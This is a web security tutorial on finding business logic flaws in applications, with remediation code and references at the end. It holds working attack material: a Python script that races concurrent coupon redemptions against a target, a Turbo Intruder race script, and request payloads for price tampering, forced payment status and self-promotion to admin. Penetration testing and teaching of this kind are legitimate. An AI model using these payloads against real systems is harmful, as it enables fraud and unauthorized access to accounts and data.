
Business Logic Flaws: Exploiting Application Workflows
Testing for business logic bugs: skipped workflow steps, price and quantity tampering, race conditions, mass assignment and other flaws scanners miss.
Introduction
A business logic flaw is a gap between what the application is supposed to allow and what it actually allows. The requests are well formed and there is no injection. The application just trusts a step order, a price field or a counter that the user controls. Scanners rarely find these because nothing in the response looks like an error.
Every application has its own rules, so you have to learn the business first. A cart that accepts a quantity of -5 has no broken parser behind it. It has a missing check, and the result is money leaving the company.
Categories of business logic flaws
Workflow sequence bypass
Multi-step flows often assume the user arrives at each step from the one before it:
# Normal flow
Step 1: Add to cart /cart/add
Step 2: Enter shipping /checkout/shipping
Step 3: Enter payment /checkout/payment
Step 4: Confirm order /checkout/confirm
# Attack: Skip payment step
Step 1: Add to cart /cart/add
Step 2: Enter shipping /checkout/shipping
Step 4: Confirm order /checkout/confirm # Works?To test it, map each workflow end to end, then try skipping steps, requesting later steps directly and changing any hidden state parameters the client sends along.
Price/quantity manipulation
# Original request
POST /cart/update
{"product_id": 1, "quantity": 2, "price": 99.99}
# Attacks to try:
{"product_id": 1, "quantity": -5, "price": 99.99} # Negative quantity
{"product_id": 1, "quantity": 2, "price": 0.01} # Modified price
{"product_id": 1, "quantity": 0.001, "price": 99.99} # Fractional quantity
{"product_id": 1, "quantity": 99999999} # Integer overflowRace conditions
A check and the update that follows it are often separate operations. Send enough requests at once and several pass the check before any of them writes (time-of-check to time-of-use):
# Coupon redemption race
import threading
import requests
def redeem_coupon():
requests.post('https://target.com/coupon/apply',
json={'code': 'DISCOUNT50'},
cookies={'session': 'valid_session'})
# Fire 50 requests simultaneously
threads = [threading.Thread(target=redeem_coupon) for _ in range(50)]
for t in threads:
t.start()
for t in threads:
t.join()
# Check if coupon was applied multiple timesPlaces where this usually pays off:
- Coupon/promo code redemption
- Gift card balance withdrawal
- Vote/like systems
- Account balance operations
- File upload/process operations
Limit bypass
# Download limit bypass
# Original: 5 downloads per day
GET /file/download/123 → "Download limit reached"
# Bypasses:
# - Multiple sessions/accounts
# - Clear cookies between requests
# - Different IP addresses
# - Manipulate counter in client-side storage
# Rate limit bypass via concurrent requests
# Send 100 requests before rate limit kicks inPrivilege escalation via business logic
# Organization hierarchy bypass
# User is employee, tries to access manager functions
POST /organization/team/add-member
{"team_id": 123, "user_id": 456, "role": "manager"}
# Self-promotion
PUT /user/profile
{"role": "admin", "permissions": ["all"]}
# Department transfer to privileged department
PUT /user/profile
{"department": "IT-Admin"}E-commerce logic flaws
Cart manipulation
# Price override
POST /cart
{"product_id": 1, "price": 0.01}
# Quantity abuse
POST /cart
{"product_id": 1, "quantity": -10} # Negative = credit?
# Currency confusion
POST /cart
{"product_id": 1, "currency": "JPY"} # $100 → ¥100?
# Decimal precision
POST /cart
{"product_id": 1, "quantity": 0.0001}Coupon/discount abuse
1. Apply coupon: SAVE20 (20% off)
2. Remove item from cart
3. Re-add item
4. Apply another coupon: SUMMER10
→ Both discounts applied?
# Coupon stacking
# Coupon code reuse across accounts
# Referral code self-referral
# Gift card balance manipulationCheckout flow exploitation
# Order completion manipulation
POST /checkout/complete
{
"order_id": 123,
"payment_status": "completed",
"total": 0.00
}
# Shipping address swap after payment
# Gift card balance check during async payment
# Cancel order but keep digital goods accessAuthentication logic flaws
Account recovery abuse
# Password reset token reuse
1. Request reset for victim@target.com
2. Request reset for attacker@target.com
3. Use attacker's token link but change email param to victim
# Security question bypass
# Answer enumeration via response timing
# Case sensitivity differences in answersRegistration flaws
# Email verification bypass
POST /register
{"email": "victim@target.com", "password": "attacker123"}
# If email verification is weak/bypassable
# Duplicate account creation
# Create admin@target.com if validation only checks exact match
POST /register
{"email": "admin@target.com ", "password": "x"} # Trailing space
{"email": "ADMIN@target.com", "password": "x"} # Case differenceMFA logic flaws
# MFA bypass via alternate flows
1. Login with password → MFA required
2. "Forgot password" → Reset password → No MFA on reset flow
3. OAuth login → No MFA for linked accounts
# Backup code abuse
# Unlimited guesses on backup codes
# Backup codes not invalidated after useAPI business logic
Mass assignment
# User profile update
PUT /api/user/profile
{
"name": "John",
"email": "john@email.com",
# Hidden fields that might be accepted:
"role": "admin",
"balance": 99999,
"verified": true,
"subscription_tier": "enterprise"
}Batch operation abuse
# Batch endpoint with mixed authorization
POST /api/batch
{
"requests": [
{"method": "GET", "path": "/users/1"}, # Own profile (allowed)
{"method": "GET", "path": "/users/2"}, # Other user (blocked?)
{"method": "DELETE", "path": "/users/2"} # Delete other (blocked?)
]
}Filter/search abuse
# Export all data via search
GET /api/users?limit=999999
# Filter bypass
GET /api/orders?user_id=*
GET /api/orders?status=all
GET /api/orders?include_deleted=trueTesting methodology
1. Understand the business
Work out what the application is for, what is worth stealing or abusing (money, data, access), which workflows exist and which limits the business expects to hold.
2. Map workflows
Document each multi-step process:
- Registration → Verification → Login
- Browse → Cart → Checkout → Payment → Confirm
- Submit → Review → Approve → Publish3. Identify trust boundaries
Note which inputs are validated server-side, where authorization is checked, what state lives on the client, and which operations are atomic and which are not.
4. Test edge cases
- Negative numbers
- Zero values
- Boundary values (MAX_INT, etc.)
- Empty strings vs null
- Special characters
- Unicode variations
- Time-based variations5. Race condition testing
# Turbo Intruder (Burp extension)
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=100,
requestsPerConnection=1,
pipeline=False)
for i in range(100):
engine.queue(target.req, gate='race')
engine.openGate('race')Impact examples
| Flaw Type | Impact |
|---|---|
| Price manipulation | Financial loss |
| Race condition | Double spending, unlimited rewards |
| Workflow bypass | Free products/services |
| Privilege escalation | Unauthorized access |
| State manipulation | Account takeover |
Remediation
Server-side validation
# Always validate business rules server-side
def checkout(cart, payment):
# Recalculate total from product database
actual_total = sum(
Product.get(item.id).price * item.quantity
for item in cart.items
)
# Validate payment matches
if payment.amount != actual_total:
raise ValueError("Payment amount mismatch")Atomic operations
A transaction on its own does not stop the race at the default isolation level of most databases. Lock the row (SELECT ... FOR UPDATE) inside it, or put the balance check in the UPDATE statement's WHERE clause.
# Use database transactions
with db.transaction():
# Check balance
balance = get_balance(user_id)
if balance < amount:
raise InsufficientFunds()
# Deduct atomically
update_balance(user_id, balance - amount)
create_transaction(user_id, amount)Rate limiting
from functools import wraps
from redis import Redis
redis = Redis()
def rate_limit(key_func, limit, period):
def decorator(f):
@wraps(f)
def wrapper(*args, **kwargs):
key = key_func(*args, **kwargs)
current = redis.incr(key)
if current == 1:
redis.expire(key, period)
if current > limit:
raise RateLimitExceeded()
return f(*args, **kwargs)
return wrapper
return decoratorReferences
MITRE ATT&CK techniques
- T1190 - Exploit Public-Facing Application - Exploiting application logic flaws
- T1078 - Valid Accounts - Account abuse via business logic
- T1087 - Account Discovery - User enumeration through workflows
CWE entries
- CWE-840 - Business Logic Errors - Primary business logic weakness
- CWE-362 - Concurrent Execution Using Shared Resource with Improper Synchronization - Race condition vulnerabilities
- CWE-799 - Improper Control of Interaction Frequency - Rate limiting bypass
OWASP resources
- OWASP Testing Guide - Business Logic Testing - Testing methodology and prevention
Security resources
- PortSwigger Business Logic Vulnerabilities - Educational labs
- Turbo Intruder - Race condition testing tool
Related articles
- Authentication Bypass - Auth logic flaws
- API Security - API business logic
- CSRF - State-changing attacks
Authentication Bypass: Breaking Login Mechanisms
Ways past a login page, from credential attacks and logic flaws to session, JWT, OAuth, MFA and password reset bugs.
Cross-Site Request Forgery (CSRF): Exploitation and Defense
How CSRF works, how to get past weak token and SameSite defenses, proof-of-concept payloads, and what actually stops it.